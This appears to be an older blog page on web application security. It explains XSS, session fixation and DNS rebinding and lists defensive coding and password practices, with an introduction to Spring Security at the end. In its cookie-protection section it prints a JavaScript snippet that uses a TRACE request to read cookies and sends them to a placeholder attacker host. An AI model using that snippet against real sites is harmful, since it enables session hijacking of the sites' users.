Solution Hacker

Introduction

This page is to focus on web application security. It will cover topics like authentication, authorization/ access control, spring security, SSL, web attacks and defensive measures.

Common Web Attacks

This section will cover the most common web attacks, the concept behind it and the strategies to thwart them. If you are new to this area and you want a quick guide to strengthen up your web application, check this article. NetworldWorld also published an article to take about the top 10 security holes in the Net (reference from OWASP full list).

The following topics I decide to dive deeper:

Cross Site Scripting (XSS) - launch a foreign javascript or vb script to steal the target site’s session id from user’s cookie. There are 3 common types of XSS attack
- DOM-based attack
- Non-Persistent XSS attack
- Persistent XSS attack - eg. MySpace
- Prevention: (1) content filtering, (2) cookie protection via HttpOnly and (3) disable javascript from browser
- Hacker approach: (1) Character encoding obfuscation (help by explicitly setting character encoding in response to let browser knows).
Cross Site Request Forgery (CSRF) -
Session Fixation - Steal your session via setting a trap session id to your browser and wait til user login with the trap session and hack in (detail here)
- Session setup - Obtain a trap session id from the target site.
- Session fixation - Have this trap session id come along with the login process. URL, hidden form field and cookie are the ways that pass session id to the server. Among them, cookie is the most convenient and secure way. It is most secure way because browser will only accept a cookie assigned either to the issuing server or the issuing server’s domain. That is to say, www.attacker.com cannot set a cookie for the target web site www.worldbank.com. To work around that, attacker can adopt 3 available methods: XSS, <META> tag with Set-Cookie and Set-Cookie Http response header. The cookie attacker set can be persistent (via Expires field) in domain level (via domain field).
- Session entrance - After the user has logged in to the trap session and before he has logged out, the attacker can enter the trap session and assume the user’s identity.
- The key to solve fixation problem is to forcefully prevent of logging into a chosen session via ignore any session id provided by user’s browser at login and must always generate a new session to which the user will log in if successfully authenticated.
SQL Injection -
Distributed Denial of Service Attack (DDoS)
Phishing
AJAX Security
DNS Rebinding - trick your browser to become a http proxy (get around same origin browser security model)
- DNS rebinding can bypass browser same origin policy - Mike and Revisit
- Protecting Browser from DNS Rebinding Attacks - Stanford (DNS Pinning can partial revert this attack via making your browser to cache the previously resolved IP address for a fixed duration regardless of the TTL. However, browser plug-ins maintain their own pin databases, creating a new class of multi-pin vulenerabilities. After the browser resolves an attackers host name, subsequent network connections from Flash or Java LiveConnect will trigger additional DNS queries).

Defense - What we can do?

List of Countermeasures (summary from this great article)

Secure code standard
- All user-supplied data must be treated untrusted.
- Validation must follow a policy of “allow only known good input”, not one of “reject obviously bad input”.
- To use untrusted input in database queries, scripts should use “parameterized queries” which completely separate the SQL statement from the data in order to prevents “SQL injection” attacks.
- When returning untrusted input in HTML output, scripts must escape characters that have special meaning in HTML, e.g. & < or >. This prevents “cross-site scripting”.
- All code must be written in a language that uses variable length strings, to avoid the risk of buffer overflows. Applications must not use any fixed length buffers handling user-supplied data.
Use HTTPS (SSL) to protect the communication channel between browser and server.
Authentication provides entrance to your system. Normally it is the weakest link because it is hard to control what users put in as their passwords. There are ways to make it more secure but it may also be inconvenient to users.
- Enforcing a password strength policy on users. Include special characters and numbers to migrate the brute force dictionary attack.
- Store the password in one-way hashed format in database. So, it is protected from DBA in your company.
- Issue users with random passwords and not allow changes. Sometimes this is too extreme and users may not want to remember it. So, this is only appropriate for high security applications.
- The password capture problem can be mitigated by using encryption – such as SSL – to protect the password as it travels over the network. However, there is still the possibility that it may be captured at one of the ends of communication. The client is the most likely weak link, for example logging in from an untrusted computer at an Internet Cafe. The owner could have installed a key logger to capture passwords. This risk can be migrated by password challenge for only few letters of password instead of the whole password.
- A variation on the password capture problem is that users can be tricked into revealing their password. This has become a major concern recently, with many “phishing” attacks being launched against financial institutions. To prevent that, one option would be for network administrators to block known phishing sites. Alternatively, various browser bars are available, for example the Mozilla TrustBar. This displays the true domain of a page, in a way that is (hopefully) impossible to spoof. Trusted domains can be configured and will display differently - so the user can quickly see if it is safe to enter personal data.
Protect Session ID: Session ID is a random number (128 bits) generated for subsequent requests. It is normally stored in the cookie instead of exposing in URL or embedded in hidden form.
Protect Cookie: XSS can steal cookie, you can protect your cookie via using HttpOnly option. However, attackers can use TRACE on XMLHttpRequest to obtain the cookie.

var xmlHttp = new XMLHttpRequest();
xmlHttp.open(”TRACE”, “”, false);
xmlHttp.send(null);
var regex = new RegExp(’^Cookie: (.*)$’, ‘m’);
var cookie = regex.exec(xmlHttp.responseText)[1];
new Image().src = ‘http://www.attacker.com/gotcha.png?’ + cookie;

Spring Security

Authentication verifies that the user is who he says he is, while authorization verifies that the current user has permission to do what he wants to do. Here I will show you how to achieve these via Spring Security. If you are still using Acegi Security, I suggest to upgrade it because Spring Security introduces namespace configuration. With this, your spring configuration file become much cleaner. Here is an article showing you how to upgrade.